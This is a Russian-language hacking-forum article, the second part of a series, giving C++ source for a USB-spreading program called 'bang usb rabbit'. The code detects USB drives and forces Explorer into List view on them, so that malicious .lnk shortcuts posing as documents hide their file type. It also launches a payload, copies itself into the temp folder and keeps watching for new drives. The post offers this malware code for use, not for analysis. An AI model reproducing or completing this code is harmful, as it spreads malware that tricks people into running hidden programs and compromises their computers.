Статья bang usb rabbit [2]

Admin

Администратор

bang usb rabbit [2]​


Часть 2
Поиск usb, внешний вид.

Теперь мы переходим в область поиска usb и сокрытия вида.
Сделав 100500 версий, и смотря на них я понял, что .lnk это хорошо, НО меня сильно напрягало, что справа есть Type, где пишет Shortcut(lnk)
Первая мысля была, херануть реестр и через него убрать в нужной нам папке Type, потыкав, понял, что тогда придётся убирать и size потому что .doc или .exe а размер 1 кб, чот не то)))
Тогда решение пришло быстро, ВИД, нужно сменить вид где не будет данного описания, и потыкав я выбрал List.

Функция для проверки, мы сейчас находимся в одном из тех папок или подпапок которые мы указали?
Что бы сменять вид ТОЛЬКО в указанных usb, а не во всём пк.
C++:
bool isInsideCur(const std::vector<std::wstring>& bases,
const std::wstring& cur)
{
for (const auto& base : bases)
{
if (_wcsicmp(base.c_str(), cur.c_str()) == 0)
return true;
if (cur.size() > base.size() &&
_wcsnicmp(cur.c_str(), base.c_str(), base.size()) == 0 &&
(base.back() == L'\\' || cur[base.size()] == L'\\'))
return true;
}
return false;
}
Проверяем указанный диск является ли usb
C++:
bool isUsbDrive(wchar_t letter)
{
wchar_t vol[] = { L'\\', L'\\', L'.', L'\\', letter, L':', 0 };
HANDLE h = CreateFileW(vol, 0,
FILE_SHARE_READ | FILE_SHARE_WRITE,
nullptr, OPEN_EXISTING, 0, nullptr);

if (h == INVALID_HANDLE_VALUE)
return false;
STORAGE_PROPERTY_QUERY q{};
q.PropertyId = StorageDeviceProperty;
q.QueryType = PropertyStandardQuery;
BYTE buf[1024]{};
DWORD ret = 0;
bool ok = false;
if (DeviceIoControl(h, IOCTL_STORAGE_QUERY_PROPERTY,
&q, sizeof(q), buf, sizeof(buf), &ret, nullptr))
{
auto* d = (STORAGE_DEVICE_DESCRIPTOR*)buf;
ok = (d->BusType == BusTypeUsb);
}
CloseHandle(h);
return ok;
}
Сканируем и возвращаем набор букв текущих дисков.
C++:
std::set<wchar_t> scanLetters()
{
std::set<wchar_t> res;
DWORD mask = GetLogicalDrives();
for (wchar_t l = L'A'; l <= L'Z'; l++)
{
if (mask & (1 << (l - L'A')))
{
wchar_t root[] = { l, L':', L'\\', 0 };
UINT t = GetDriveTypeW(root);
if ((t == DRIVE_FIXED || t == DRIVE_REMOVABLE) && isUsbDrive(l))
res.insert(l);
}
}
return res;
}
Функция для получения пути из текущей папки.
C++:
bool getActiveExplorerPath(std::wstring& out)
{
out.clear();
HWND fg = GetForegroundWindow();
if (!fg) return false;

IShellWindows* wins = nullptr;
if (FAILED(CoCreateInstance(CLSID_ShellWindows, nullptr,
CLSCTX_ALL, IID_PPV_ARGS(&wins))))
return false;

long cnt = 0;
wins->get_Count(&cnt);

for (long i = 0; i < cnt; i++)
{
VARIANT v{};
v.vt = VT_I4;
v.lVal = i;

IDispatch* disp = nullptr;
if (FAILED(wins->Item(v, &disp)) || !disp)
continue;

IWebBrowserApp* wb = nullptr;
if (SUCCEEDED(disp->QueryInterface(IID_PPV_ARGS(&wb))))
{
HWND h = nullptr;
wb->get_HWND((LONG_PTR*)&h);

if (h == fg)
{
BSTR url;
if (SUCCEEDED(wb->get_LocationURL(&url)))
{
wchar_t buf[MAX_PATH];
DWORD len = MAX_PATH;
if (SUCCEEDED(PathCreateFromUrlW(url, buf, &len, 0)))
{
out = normalizePath(buf);
SysFreeString(url);
wb->Release();
disp->Release();
wins->Release();
return true;
}
SysFreeString(url);
}
}
wb->Release();
}
disp->Release();
}
wins->Release();
return false;
}


Самая главная вишенка на торте,ПРИНУДИТЕЛЬНО добровольно меняем вид на list
C++:
void ChangeListView()
{
IShellWindows* wins = nullptr;
if (FAILED(CoCreateInstance(CLSID_ShellWindows, nullptr,
CLSCTX_ALL, IID_PPV_ARGS(&wins))))
return;

HWND fg = GetForegroundWindow();
long cnt = 0;
wins->get_Count(&cnt);

for (long i = 0; i < cnt; i++)
{
VARIANT v{};
v.vt = VT_I4;
v.lVal = i;
IDispatch* disp = nullptr;
if (FAILED(wins->Item(v, &disp)) || !disp)
continue;

IWebBrowserApp* wb = nullptr;
if (SUCCEEDED(disp->QueryInterface(IID_PPV_ARGS(&wb))))
{
HWND h = nullptr;
wb->get_HWND((LONG_PTR*)&h);
if (h == fg)
{
IServiceProvider* sp = nullptr;
if (SUCCEEDED(wb->QueryInterface(IID_PPV_ARGS(&sp))))
{
IShellBrowser* sb = nullptr;
if (SUCCEEDED(sp->QueryService(
SID_STopLevelBrowser, IID_PPV_ARGS(&sb))))
{
IShellView* sv = nullptr;
if (SUCCEEDED(sb->QueryActiveShellView(&sv)))
{
IFolderView2* fv = nullptr;
if (SUCCEEDED(sv->QueryInterface(IID_PPV_ARGS(&fv))))
{
fv->SetCurrentViewMode(FVM_LIST);
fv->Release();
}
sv->Release();
}
sb->Release();
}
sp->Release();
}
}
wb->Release();
}
disp->Release();
}
wins->Release();
}
Ну и завершение!
wmain основной цикл
инициализирует данные
постоянно отслеживает подключённые usb
обрабатывает их
Изменение вида на List
Производит запуск основного файл через аргумент
Если кролик видит что на пк Нет других кроликов, тогда он копирует себя в temp и запускает свою копию
Что бы при извлечении флэшки не было ошибок, ну и что бы ждать новые флэшки.

C++:
int wmain(int argc, wchar_t* argv[])
{
wchar_t selfPath[MAX_PATH];
GetModuleFileNameW(nullptr, selfPath, MAX_PATH);
g_selfName = fs::path(selfPath).filename();
CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
while (true)
{
std::set<wchar_t> usb = scanLetters();
std::vector<std::wstring> bases;
for (auto l : usb)
{
std::wstring root;
root += l;
root += L":\\";
bases.push_back(normalizePath(root));
const wchar_t* launchFile = argv[1];
if (argc > 1)
{
launchArgument(launchFile);
if (countMyProcess() == 1)
{
wchar_t exePath[MAX_PATH];
GetModuleFileNameW(nullptr, exePath, MAX_PATH);
std::filesystem::path exeDir = std::filesystem::path(exePath).parent_path();
std::filesystem::path src = exeDir / g_selfName.c_str();
wchar_t tempPath[MAX_PATH];
GetTempPathW(MAX_PATH, tempPath);
std::filesystem::path dst = std::filesystem::path(tempPath) / g_selfName.c_str();
std::filesystem::copy_file(
src,
dst,
std::filesystem::copy_options::overwrite_existing
);
launchArgument(dst.c_str());
}
return 0;
}
CoInitialize(nullptr);
processRootSafe(root);
CoUninitialize();
}

std::wstring cur;
if (getActiveExplorerPath(cur))
{
if (isInsideCur(bases, cur))
ChangeListView();
}
Sleep(120);
}
CoUninitialize();
return 0;

}
 
Похожие темы
Admin Статья bang usb rabbit [FULL CODE] Вирусология 0
Admin Статья bang usb rabbit [1] Вирусология 0
Support81 USB Linux без следов стал ещё тише. Tails теперь прячет Tor в потоке «обычного» интернета Новости в сети 0
Support81 Новый USB-червь "LitterDrifter" выявлен в целевых атаках Новости в сети 0
Support81 Ностальгическая вспышка: USB-носители снова используются для распространения вредоносного софта Новости в сети 0
H Посоветуйте бюджетные USB Wi-Fi адаптеры для вардрайвинга Уязвимости и взлом 4
9 Интересно Сравнение Анонимных Live USB систем.TAILS vs Kodachi Анонимность и приватность 2
H Как установить macOS на USB-накопитель Полезные статьи 0
АнАлЬнАя ЧуПаКаБрА Интересно USB крипто хайп Готовый софт 1
S Как перепрошить китайские смарт часы без micro usb? Свободное общение 5
M USB флешка-стиллер своими руками Программирование 1
M BitLocker пароль на USB / Шифрование Анонимность и приватность 0
S WHID: WiFi HID инжектор USB Rubberducky Уязвимости и взлом 0
A USB-контрацептивы для защиты oт утечки дaнных устрoйства Анонимность и приватность 0
T Делаем USB-Backdoor из Raspberry Pi Zero W и P4wnP1 Полезные статьи 0
M Блокировка USB при помощи программы. Уязвимости и взлом 0
E Заражаем жертву с помощью USB Уязвимости и взлом 1
F Основные недостатки безопасности USB Полезные статьи 2
M [USB]Стиллер или флешка ВОР) Готовый софт 40

Название темы